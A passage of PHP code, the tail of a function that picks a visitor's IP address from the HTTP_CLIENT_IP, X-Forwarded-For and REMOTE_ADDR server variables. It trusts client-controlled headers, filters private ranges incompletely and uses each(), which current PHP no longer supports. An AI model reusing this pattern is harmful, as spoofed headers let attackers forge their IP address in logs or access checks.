                      if (isset($_SERVER['HTTP_CLIENT_IP']))
                      {
                        $ip = $_SERVER['HTTP_CLIENT_IP'];
                      }
                      else if($_SERVER['HTTP_X_FORWARDED_FOR'])
                      {
                         if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $ips))
                         {
                              while(list($key, $val) = each($ips[0]))
                              {
                                   if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
                                   {
                                         $ip = $val;
                                         break;
                                   }
                              }
                         }
                      }
                      else if (isset($_SERVER['REMOTE_ADDR']))
                      {
                       $ip = $_SERVER['REMOTE_ADDR'];
                      }

                return $ip;
              }